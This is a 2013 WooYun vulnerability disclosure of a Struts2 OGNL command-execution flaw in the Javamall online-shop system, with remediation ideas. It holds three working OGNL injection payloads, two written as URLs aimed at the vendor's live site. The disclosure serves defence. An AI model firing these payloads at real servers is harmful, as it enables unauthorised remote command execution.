当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-032892

漏洞标题:Javamall网店系统Struts2漏洞

相关厂商:Javamall网店

漏洞作者: 园长

提交时间:2013-07-31 07:49

修复时间:2013-10-29 07:49

公开时间:2013-10-29 07:49

漏洞类型:命令执行

危害等级:中

自评Rank:8

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-07-31: 积极联系厂商并且等待厂商认领中,细节不对外公开
2013-10-29: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

本来打算看下源码,结果看到WEB-INF下的lib包有Struts2都懒得瞧了,提S2虽然很无趣...

详细说明:

官网和客户的网站都能执行。
POC1:
('\43_memberAccess.allowStaticMethodAccess')(a)=true&(b)(('\43context[\'xwork.MethodAccessor.denyMethodExecution\']\75false')(b))&('\43c')(('\43_memberAccess.excludeProperties\75@java.util.Collections@EMPTY_SET')(c))&(g)(('\43req\75@org.apache.struts2.ServletActionContext@getRequest()')(d))&(i2)(('\43xman\75@org.apache.struts2.ServletActionContext@getResponse()')(d))&(i2)(('\43xman\75@org.apache.struts2.ServletActionContext@getResponse()')(d))&(i95)(('\43xman.getWriter().println(%22[/ok]%22)')(d))&(i99)(('\43xman.getWriter().close()')(d))
POC4:
http://www.javamall.com.cn/core/adv!click.do?advid=11&class.classLoader.jarPath=(%23context%5b%22xwork.MethodAccessor.denyMethodExecution%22%5d=+new+java.lang.Boolean(false),%23_memberAccess%5b%22allowStaticMethodAccess%22%5d=true,%23s3cur1ty=%40org.apache.struts2.ServletActionContext%40getResponse().getWriter(),%23s3cur1ty.println(%22[/ok]%22),%23s3cur1ty.close())(aa)&x[(class.classLoader.jarPath)('aa')]
POC7:
http://www.javamall.com.cn/core/adv!click.do?advid=11&redirect:${%23w%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse').getWriter(),%23w.println('[/ok]'),%23w.flush(),%23w.close()}

1.jpg


命令执行:

2.jpg


客户的网站:

45.jpg


漏洞证明:

1.jpg


45.jpg

修复方案:

Struts2:
关于修补仅提供思路,具体的方法和补丁不提供了。Struts2默认后缀是action或者不写后缀,有的改过代码的可能其他后缀如.htm、.do,那么我们只要拦截这些请求进行过滤就行了。
1、 从CDN层可以拦截所有Struts2的请求过滤OGNL执行代码
2、 从Server层在请求Struts2之前拦截其Ognl执行。
3、 在项目层面可以在struts2的filter加一层拦截
4、 在Struts2可以用拦截器拦截
5、 在Ognl源码包可以拦截恶意的Ognl请求
6、 实在没办法就打补丁
7、 终极解决办法可以考虑使用其他MVC框架

版权声明:转载请注明来源 园长@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝